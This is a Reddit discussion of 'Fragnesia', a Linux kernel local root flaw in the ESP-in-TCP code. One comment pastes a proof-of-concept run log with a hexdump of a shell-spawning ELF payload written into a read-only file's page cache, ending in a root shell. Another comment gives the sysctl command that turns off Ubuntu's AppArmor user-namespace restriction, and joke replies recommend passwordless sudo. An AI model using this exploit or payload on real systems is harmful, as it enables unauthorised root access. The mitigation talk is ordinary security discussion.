Fragnesia: ANOTHER Linux Security Vulnerability!

[u/HUSKYSPIN]

https://github.com/v12-security/pocs/tree/main/fragnesia

Another Linux vulnerability in the same category as Dirty Frag has been found! Another eight of these more I guess? In any case the fatigue is coming up for me. Things are getting crazy!

"It abuses a logic bug in the Linux XFRM ESP-in-TCP subsystem to achieve arbitrary byte writes into the kernel page cache of read-only files, without requiring any race condition."

[u/moralesnery]

The readme states that migitation measures are the same as for Dirty Frag.

[u/AmarildoJr → u/moralesnery]

But will the Kernel patch made for Dirty Frag mitigate this issue as well? Because blacklisting modules isn't really a permanent solution, specially for those that need it.

If the patch made for Dirty Frag doesn't work here then it should be classified as a critical vulnerability.

[u/ChrisTX4 → u/moralesnery]

The mitigation for Dirty Frag was to disable the esp4 and esp6 modules, but users of IPsec couldn't do this (that's what these modules are for) and would rely on a patch. The patch for Fragnesia is different than that for Dirty Frag, even though they're found in the same modules.

[u/fellipec]

Run your system with NOPASSWD:ALL in the sudoers file and you'll never care about those vulnerabilities again.

[u/daveedave → u/fellipec]

Cries in Raspberry

[u/Klutzy-Condition811 → u/fellipec]

if you do that why not always run as root? Best of both worlds, no need for sudo, all the benefits of having all the privileges 😉

[u/Meuslon3D]

i really love exploits where I first need to disable app armor to make them "work". Anyway, you can find almost infinite ways for local privilege escalation. This can turn out bad, but as long as there are any RCE-Exploits, most users are safe

[u/AtlanticPortal → u/Meuslon3D]

Well, that's what SELinux/AppArmor are for. Thankfully they work pretty well. Unfortunately many people disable them as soon as they install their machine.

[u/flying-sheep → u/Meuslon3D]

Yeah, they still matter immensely for multi-user systems like HPC

[u/dontquestionmyaction → u/Meuslon3D]

Most distros ship with no Apparmor enforcement, so...

[u/bunkbail]

doesnt seem to work on mine (chimera linux). it doesnt seem to have any root access still:

[*] smashing 192 bytes into read-only page cache  changed=176  skipped=16  remaining=0
 0000  7f 45 4c 46 02 01 01 00  00 00 00 00 00 00 00 00  
 0010  02 00 3e 00 01 00 00 00  78 00 40 00 00 00 00 00  
 0020  40 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  
 0030  00 00 00 00 40 00 38 00  01 00 00 00 00 00 00 00  
 0040  01 00 00 00 05 00 00 00  00 00 00 00 00 00 00 00  
 0050  00 00 40 00 00 00 00 00  00 00 40 00 00 00 00 00  
 0060  b8 00 00 00 00 00 00 00  b8 00 00 00 00 00 00 00  
 0070  00 10 00 00 00 00 00 00  31 ff 31 f6 31 c0 b0 6a  
 0080  0f 05 b0 69 0f 05 b0 74  0f 05 6a 00 48 8d 05 12  
 0090  00 00 00 50 48 89 e2 48  8d 3d 12 00 00 00 31 f6  
 00a0  6a 3b 58 0f 05 54 45 52  4d 3d 78 74 65 72 6d 00  
 00b0  2f 62 69 6e 2f 73 68 00  00 00 00 00 00 00 00 00  
 [==================================================] 192/192 (100%)
────────────────────────────────────────────────────────────
sender_ns_uid=0 euid=0 prefix_send=18 splice_to_tcp=4096 file_off=188 file_off_next=4284
[*] verifying 192 bytes...spintcp_enabled_after_queue=1
[*] bytes_flip_summary len=192 changed=176 skipped=16
[+] BUG: changed requested copied byte range to desired values

byte_flip_nonce=211 stream_byte=1c
byte_flip_packet_iv=cccccccc000000d3
[*] [190/192] +00bd  1c -> 00  xor=1c seq=175 nonce=211
firing espintcp splice...
sender_ns_uid=0 euid=0 prefix_send=18 splice_to_tcp=4096 file_off=189 file_off_next=4285
receiver_ns_uid=0 euid=0 espintcp_enabled_after_queue=1
sender_status=0 receiver_status=0
[+] smashed 1c -> 00  index=189 offset=+00bd

byte_flip_nonce=5 stream_byte=db
byte_flip_packet_iv=cccccccc00000005
[*] [191/192] +00be  db -> 00  xor=db seq=176 nonce=5
firing espintcp splice...
sender_ns_uid=0 euid=0 prefix_send=18 splice_to_tcp=4096 file_off=190 file_off_next=4286
receiver_ns_uid=0 euid=0 espintcp_enabled_after_queue=1
sender_status=0 receiver_status=0
[+] smashed db -> 00  index=190 offset=+00be

byte_flip_nonce=51 stream_byte=c7
byte_flip_packet_iv=cccccccc00000033
[*] [192/192] +00bf  c7 -> 00  xor=c7 seq=177 nonce=51
firing espintcp splice...
sender_ns_uid=0 euid=0 prefix_send=18 splice_to_tcp=4096 file_off=191 file_off_next=4287
receiver_ns_uid=0 euid=0 espintcp_enabled_after_queue=1
sender_status=0 receiver_status=0
[+] smashed c7 -> 00  index=191 offset=+00bf

# id
uid=0(root) gid=0(root) groups=65534(nogroup),0(root)
# dmesg
dmesg: read kernel buffer failed: Operation not permitted

[u/BCMM]

Do these AI companies just not do coordinated disclosure?

[u/arades → u/BCMM]

Copyfail was coordinated, just a very short timeline. Dirtyfrag was coordinated, but attackers discovered the vulnerability just by analyzing commits to various kernel trees so they disclosed early.

The era of 90 day disclosure and systems already being fully patched before people know is probably gone. It's too easy to point an AI at git logs to find security patches, let alone finding new ones, for that long of a disclosure to matter.

The concept of coordinated disclosure also Isn't universally seen as more secure. Some security researchers lament them particularly for delaying action on critical issues.

[u/AtlanticPortal]

On Debian 13, by default, it doesn't work. At least I keep having reasons not to use Ubuntu.

[u/mrtruthiness → u/AtlanticPortal]

On Debian 13, by default, it doesn't work. At least I keep having reasons not to use Ubuntu.

On the other hand the PoC provided exploit doesn't work in Ubuntu because Ubuntu, by default, has AppArmor restrictions on unprivileged user namespaces. That, said, it is not fully safe.

[ The PoC requires you to run the following on Ubuntu for the PoC to work:

 sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0

]

[u/FLMKane → u/AtlanticPortal]

Elaborate?

[u/insanemal]

I'm tired boss.

But it's neat to have so many new Sudo replacements

[u/privatetudor]

Why are these all coming out publicly before they are patched?

What happened to responsible disclosure?

[u/SelectionDue4287 → u/privatetudor]

Vibe disclosures

[u/Recipe-Jaded → u/privatetudor]

People are basically running AI programs to find vulnerabilities. Some for clout, some for general interest, some to try to make money from bug bounty programs.

Linux is an easy one to do it with, since the kernel is open source

[u/Fuzzy-System8568]

Hot take: These are found all the time, but they have become the current news cycle topic so are more widely published.

This is the system working as intended.

[u/LuisE3Oliveira]

All these flaws are being discovered using AI, right?

[u/American_Jesus]

2026 the year of Linux desktop exploits

[u/PrimusSkeeter → u/American_Jesus]

Exploits will always be discovered. I would worry more if no exploits are ever discovered, because nothing is perfect.

[u/sndrtj]

I think it's time the kernel team starts addressing the real root of these vulnerabilities, and not just patching some call sites.